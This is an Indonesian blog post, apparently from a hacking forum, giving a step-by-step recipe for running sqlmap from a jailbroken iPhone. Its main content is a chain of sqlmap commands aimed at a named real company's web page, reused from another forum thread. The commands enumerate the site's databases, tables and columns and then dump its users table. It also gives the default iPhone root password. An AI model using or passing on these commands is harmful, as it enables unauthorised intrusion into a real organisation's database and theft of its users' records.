sqli-lewat-iphone (baca)

Assalamualaikum. Wr. Wb.
selamat malam warga Dunia Maya  smua...

sharing ilmu kali ini (berrawal dari ide kecil ane pas lagi maen2 sama havij di komputer trus ngeliat iPhone ane dan mikir kira-kira bisa g ya sqli dari iPhone...?)
nah akhirnya ane nanya ama kakek ane yg paling pinter se jagat maya, lalu menemukan lah lanjutan ide ane ini... okey g usah banyak bacot kita langsung ke resep masakannya...

proses pembuatan dan peralatan yg ane pnya...
1. iPhone 3GS yang udah di (wajib) jailbrake
2. source reponya di tambahin dengan yg ini

PHP Code:

http://ininjas.com/repo/ 

3. download and install dua program ini dari cydianya langsung..

PHP Code:

-Terminal Emulator-Python (biasanya dah langsung ke install)
-SQLmap 

4. nah skrg masuk deh ke "Terminal Emulator" tadi.
5. login dah sebagai user ROOT caranya:

PHP Code:

ketik : su <enter>password: alpine(password default root iPhone seluruh dunia...) 

6. masuk deh ke directory sqlmapnya:

PHP Code:

cd /pentest/database/sqlmap; ls 

v

7. kita dsini pake web vuln yg udah pernah di post ama om @SaccaFrazi tritnya

PHP Code:

http://devilzc0de.org/forum/thread-459-page-23.html 

PHP Code:

Analyzing http://www.pioneer-group.co.uk/event.php?id=17Host IP: 79.170.44.145
Web Server: Apache/2
Powered-by: PHP/5.2.17 

8. kita mulai
kita ketik perintahnya...

PHP Code:

./sqlmap.py -h 

v

9. kita coba inject

PHP Code:

./sqlmap.py -u http://www.pioneer-group.co.uk/event.php?id=17 --dbskita coba cari nama databasenya.. 

v

v

10. nah sekarang kita cari table user ato admin ato login ato apapun lah...

PHP Code:

./sqlmap.py -u http://www.pioneer-group.co.uk/event.php?id=17 -D web145-pioneer --tables 

v

11. sekarang kita cari column dari tabel yang tadi kita dapet...

PHP Code:

./sqlmap.py http://www.pioneer-group.co.uk/event.php?id=17 -D web145-pioneer -T PIONEER_GROUP_USERS --columns 

v

12. nah dah gitu kita dump deh ato mo di liat langsung juga boleh..

PHP Code:

./sqlmap.py http://www.pioneer-group.co.uk/event.php?id=17 -D web145-pioneer -T PIONEER_GROUP_USERS --dump 

Share This:

Post Tags:

Ichsan Bahri

I'm Ichsan. A full time web designer. I enjoy to make modern template. I love create blogger template and write about web design, blogger. Now I'm working with Themeforest. You can buy our templates from Themeforest.

Website: http://sagoe.net/

• Social Links:

• Rss
• Facebook
• Twitter
• Google+
• Linkedin
• Youtube